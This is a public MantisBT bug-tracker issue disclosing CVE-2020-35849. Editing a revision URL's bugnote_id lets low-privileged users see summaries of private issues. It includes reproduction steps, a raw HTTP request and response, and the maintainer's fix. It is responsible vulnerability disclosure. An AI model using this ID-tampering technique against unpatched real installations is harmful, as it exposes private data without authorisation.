≡ View Issue Details

ID	Project	Category	View Status	Date Submitted	Last Update
0027370	mantisbt	security	public	2020-10-02 03:29	2020-12-30 07:37

Reporter	d3vpoo1	**Assigned To**	dregad		
Priority	high	**Severity**	major	**Reproducibility**	always
Status	■ closed	**Resolution**	fixed		
Platform	Windows	**OS**	Windows	**OS Version**	Windows10
Product Version	2.24.3				
Target Version	2.24.4	**Fixed in Version**	2.24.4		

Summary

0027370: CVE-2020-35849: Revisions allow viewing private bugnotes id and summary

Description

I recheck my old reports/issue and I observe that in default MantisBT instance the developer can only edit the revision `$g_update_bugnote_threshold = DEVELOPER;` which means the developer can edit the bugnote submitted by reporter. However other role can view (and even developer) a private `bugnote` included on a private project.

Note : I create a new instance of MantisBT again to prevent/stop my old configuration

This is almost the same as the report that I submitted before however this one disclose the `bugnote`

Steps To Reproduce

- As admin create two project, one private and a public project
- Report an issue to a private project
- add a new bugnote, its up to you if you will set this `bugnote` to `private` however at this point other user with non-admin role shouldn't access this because its a private project (for this scenario I will just set the `bugnote` to private which can help us "double" the status of view)
- as a reporter,report an issue to our public project
- add a bugnote

Exploit

- go to your developer account and edit that `bugnote` submitted by reporter

Request

```
POST /test/bugnote_update.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 119
Origin: http://localhost
Connection: close
Referer: http://localhost/test/bugnote_edit_page.php
Cookie: MANTIS_secure_session=1; PHPSESSID=d1eb6er2hsedj13e2pi6tjqde9; MANTIS_STRING_COOKIE=S7B36suzGTmS3fWaoJskDFJK2HKV4ugkq7hcA3GX6JEATGrijwA5ce94ic6ZJlxm; MANTIS_PROJE
CT_COOKIE=2
Upgrade-Insecure-Requests: 1

bugnote_update_token=20201002r_0p5xlSfr-c2RSyBuBuqD71SD2hvVLJ&bugnote_id=1&bugnote_text=I+will+edit+this+as+a+developer
```

Response

```
HTTP/1.1 302 Found
Date: Fri, 02 Oct 2020 06:58:43 GMT
Server: Apache/2.4.41 (Win64) OpenSSL/1.0.2s PHP/7.1.33
X-Powered-By: PHP/7.1.33
Cache-Control: no-store, no-cache, must-revalidate
Last-Modified: Fri, 02 Oct 2020 06:58:43 GMT
X-Content-Type-Options: nosniff
Expires: Fri, 02 Oct 2020 06:58:43 GMT
X-Frame-Options: DENY
Content-Security-Policy: default-src 'self'; frame-ancestors 'none'; style-src 'self' 'unsafe-inline'; script-src 'self'; img-src 'self' 'self' data:
Location: http://localhost/test/view.php?id=1#bugnotes
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html; charset=utf-8
```

- After that, the "View all revisions" will appear
- Click it
- Now you will redirect to `/bug_revision_view_page.php?bugnote_id=&lt;SOME_ID>`
- change the value of <SOME_ID> to anything and you will successfully disclose the `private bugnotes`

Verification method

- to verify more I use other role like `viewer` , `reporter` , `manager` (possible the other role too) and they can access the `bug_note`

Additional Information

I ran diff on default config file and to my testing config file and no result produce

- Will follow up a PoC script

Tags

No tags attached.

Relationships

related to	0020690	■ closed	dregad	inconsistent UI for view bugnote revision

Activities

d3vpoo1
2020-10-02 06:14
reporter ~0064516

Hi ! After observing this and comparing to my last report, this only allows the attacker to disclose the summary and not the bug note. This is not duplicate issue of previous report because this can be found on different endpoint.. I get confused I thought the one that I disclose is the `bugnote` but I just disclose the `summary` via `bug_revision_view_page.php?bugnote_id=&lt;VULN>` apologize

dregad
2020-11-22 19:35
developer ~0064683

> this only allows the attacker to disclose the summary and not the bug note

Confirmed.

When you refer to "my last report", considering you have reported more than 10 of them, I guess you mean ~~0027039~~ ?

d3vpoo1
2020-11-22 21:08
reporter ~0064684

I forgot which issue but I guess I refer it to https://mantisbt.org/bugs/view.php?id=27357

dregad
2020-12-05 21:12
developer ~0064749
Last edited: 2020-12-06 06:46

While working on the fix for this issue, I realized that low-privileged users can view the revisions when accessing bug_revision_view_page.php directly, but they are not shown the *View Revisions* link on bugnote page, because the ability to view bugnote revisions is driven by *private_bugnote_threshold* config.

This inconsistency was previously reported in ~~0020690~~, so now is a good time to fix this.

dregad
2020-12-06 11:08
developer ~0064757

That one was a bit more complex to fix than I had anticipated...

d3vpoo1
2020-12-11 10:21
reporter ~0064786

Is this one getting a CVE?

dregad
2020-12-30 05:03
developer ~0064865

CVE-2020-35849 assigned via request 1007235

Related Changesets

MantisBT: master e9fd168c
2020-12-06 05:32
dregad

Details Diff

Deny access to revisions if not authorized

If user is not allowed to view a revisions' parent bug or bugnote,
bug_revision_view_page.php now shows an Access Denied error, instead
of showing the bug Id and Summary (information disclosure).

Fixes ~~0027370~~

Affected Issues
~~0027370~~

mod - bug_revision_view_page.php

Diff File